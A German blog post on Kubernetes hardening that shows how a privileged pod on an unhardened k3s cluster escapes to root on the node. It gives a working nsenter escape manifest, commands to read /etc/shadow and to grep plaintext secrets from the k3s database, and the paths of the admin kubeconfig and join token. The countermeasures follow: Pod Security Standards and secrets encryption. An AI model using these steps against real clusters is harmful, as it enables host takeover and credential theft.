Ein Pod, und der Server gehört ihm
31.08.2026
Thema: alle Beiträge zu Kubernetes
Ein privilegierter Pod ohne Pod Security Standards wird zur Root-Shell auf dem k3s-Node. Was ein Manifest anrichtet, und die eine Zeile, die es verbietet.
Inhaltsverzeichnis
- Ein Manifest genügt
- Bei k3s liegt der ganze Cluster in einer Datei
- Vom Knoten zum ganzen Cluster
- Kein Trick, sondern der Auslieferungszustand
- Nachträglich härten ist die schlechtere Wahl
Ein Manifest genügt
Auf einem Kubernetes ohne Pod Security Standards kann jeder, der ein Manifest auf den Cluster bekommt, root auf dem Server selbst werden. Nicht im Container, sondern auf dem Knoten, auf dem der Container läuft. Kein Exploit, kein CVE, keine Fehlkonfiguration im eigentlichen Sinn. Es ist das Standardverhalten eines frischen Clusters.
Der Beweis ist ein Pod, ein Allerwelts-Image und drei Zeilen zu viel:
apiVersion: v1
kind: Pod
metadata:
name: ausbruch
spec:
hostPID: true
containers:
- name: ausbruch
image: busybox
stdin: true
tty: true
securityContext:
privileged: true
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "sh"]
Drei Dinge machen den Unterschied. hostPID: true lässt den Pod die Prozesse des Hosts sehen. privileged: true gibt ihm die Rechte dazu. Und nsenter --target 1 springt in die Namespaces von PID 1, also dem init-Prozess des Servers. Anlegen und reingehen:
kubectl apply -f ausbruch.yaml
kubectl attach -it ausbruch
Die Shell, die sich jetzt öffnet, läuft nicht mehr im Container. Sie läuft auf dem Node, als root. Der Beweis liegt einen Befehl entfernt:
cat /etc/hostname
cat /etc/shadow
Der Hostname des Servers, nicht der des Pods. Und die Passwort-Hashes des Hosts, die ein Container per Definition nie sehen dürfte. Die Grenze zwischen Pod und Node ist an dieser Stelle einfach weg.
Bei k3s liegt der ganze Cluster in einer Datei
Wer als root auf dem Server sitzt, hat bei k3s besonders leichtes Spiel. Der komplette Cluster-Zustand liegt nicht in einem verteilten etcd mit eigenem Betrieb, sondern in einer einzelnen SQLite-Datei auf der Platte. k3s spart sich etcd und schiebt über die eingebettete Komponente kine alle Objekte in diese eine Datenbank. Das ist im Betrieb angenehm und im Angriffsfall fatal.
Kubernetes-Secrets sind ohnehin nur base64-kodiert, nicht verschlüsselt. Und base64 ist keine Verschlüsselung, sondern eine Umschrift, die jeder in beide Richtungen lesen kann. Auf dem ungehärteten Cluster liegen die Secrets damit im Klartext in dieser Datei. Ein strings darauf genügt:
strings /var/lib/rancher/k3s/server/db/state.db | grep sesam
Ist das Passwort sesam-oeffne-dich-4711 als Secret im Cluster, steht es hier im Klartext auf dem Schirm. Kein kubectl, kein Token, kein API-Zugriff. Nur Lesezugriff auf eine Datei, und den hat root auf dem Server immer.
Das Unangenehme daran ist die Reichweite. Jedes Backup dieser Platte, jedes kopierte Volume, jeder ausgemusterte Server trägt die Secrets im Klartext mit sich, ohne dass es jemandem auffällt.
Vom Knoten zum ganzen Cluster
Beim Lesen bleibt es nicht. Wer root auf einem k3s-Server ist, findet daneben zwei Dinge, die aus dem einen kompromittierten Knoten den ganzen Cluster machen:
- Die Admin-kubeconfig unter
/etc/rancher/k3s/k3s.yaml. Das sind vollekubectl-Rechte auf den Cluster, ohne Umweg. - Den Join-Token unter
/var/lib/rancher/k3s/server/node-token. Damit hängt man eigene Knoten in den Cluster, auf denen man selbst wieder root ist.
Ab diesem Punkt gehört dem Angreifer nicht ein Knoten, sondern die komplette Steuerungsebene. Ein Pod war der Anfang, der ganze Cluster ist das Ende.
Kein Trick, sondern der Auslieferungszustand
Das Beunruhigende an diesem Ablauf ist nicht die Raffinesse. Es gibt keine. Jede der drei Zeilen im Manifest ist dokumentiert, nsenter ist ein Standardwerkzeug, und die SQLite-Datei liegt genau da, wo die k3s-Doku sie beschreibt. Ein Junior kann das Manifest aus einem beliebigen Tutorial kopieren.
Das Beunruhigende ist, dass ein frisches Kubernetes das alles ohne Weiteres zulässt. Die Regel, die ein privilegiertes Manifest ablehnt, bevor der Pod überhaupt entsteht, ist nicht per Default aktiv. Man muss sie selbst setzen: die Pod Security Standards. Ein Namespace mit baseline-Enforcement lehnt genau dieses Manifest ab:
kubectl label ns default pod-security.kubernetes.io/enforce=baseline
kubectl apply -f ausbruch.yaml
Error from server (Forbidden): pods "ausbruch" is forbidden:
violates PodSecurity "baseline:latest": host namespaces (hostPID=true),
privileged (container "ausbruch" must not set securityContext.privileged=true)
baseline verbietet genau das, was den Ausbruch trägt: keine privilegierten Container, keine Host-Namespaces, keine Host-Pfade. Und das strings auf die Datenbank läuft ins Leere, sobald secrets-encryption eingeschaltet ist, denn dann liegen die Secrets verschlüsselt in der SQLite statt im Klartext.
Beides ist keine kostenpflichtige Enterprise-Funktion. k3s steht unter Apache 2.0 und gehört der CNCF, nicht einem Hersteller. Die Härtung sind offene Konfigurationen, die jeder lesen und nachvollziehen kann. Genau das ist der Punkt: Souveränität über die eigene Plattform heißt, diese Zeilen zu verstehen und selbst zu setzen. Kein Werkzeug, kein Hersteller nimmt einem das ab.
Nachträglich härten ist die schlechtere Wahl
Die Pod Security Standards lassen sich jederzeit nachträglich einschalten, mit einem einzigen Label und ohne Neustart. Aber sie sind eine Zugangskontrolle: Sie prüfen beim Erzeugen eines Pods, nicht bei den bereits laufenden. Schaltet man baseline an, während der Cluster schon läuft, läuft ein privilegierter Pod von vorhin unbehelligt weiter, bis ihn jemand neu erzeugt. Der Cluster meldet dann Vollzug, und gleichzeitig läuft ein Container mit vollem Host-Zugriff darauf. Auffliegen tut das erst beim nächsten Rollout oder Node-Neustart, also zum denkbar schlechtesten Zeitpunkt.
Das Gleiche gilt für die Secrets. secrets-encryption nachträglich zu aktivieren verschlüsselt erst einmal nur, was danach geschrieben wird. Die Bestandssecrets muss man eigens umschreiben lassen, und bis dahin lag alles offen.
Deshalb gehört die Härtung an den Anfang, nicht ans Ende. Ein Cluster, dessen Konfiguration und Admission-Regeln auf der Platte liegen, bevor k3s das erste Mal startet, hatte nie eine Sekunde, in der ein ungehärteter Zustand lief. Wie man einen k3s-Server genau so baut, mit cloud-init vor dem ersten Boot, gepinnter Version und einem Cluster, den man jederzeit wegwerfen und identisch neu bauen kann, zeige ich im Video zu diesem Beitrag.
Bis dahin die kürzeste ehrliche Zusammenfassung: Prüf auf deinem eigenen Cluster, ob das ausbruch-Manifest durchkommt. Kommt es durch, gehört dein Server jedem, der ein Manifest darauf bekommt.
© 2026 Trutz Software Consulting GmbH. CC BY 4.0: Dieser Text darf mit Namensnennung weiterverwendet und bearbeitet werden, auch kommerziell. Code-Beispiele darin stehen unter Apache 2.0. Ausgenommen sind Marke und Logo sowie gekennzeichnete Zitate Dritter. Was das genau heißt.
Newsletter
Erhalte praxisnahe Tutorials, Best Practices und echte Lösungen für die häufigsten DevOps-Probleme direkt in Dein Postfach.
Datenschutz: Deine E-Mail-Adresse wird DSGVO-konform in Deutschland gespeichert. Keine Spam, nur relevante Inhalte. Eine E-Mail alle 1 bis 2 Wochen.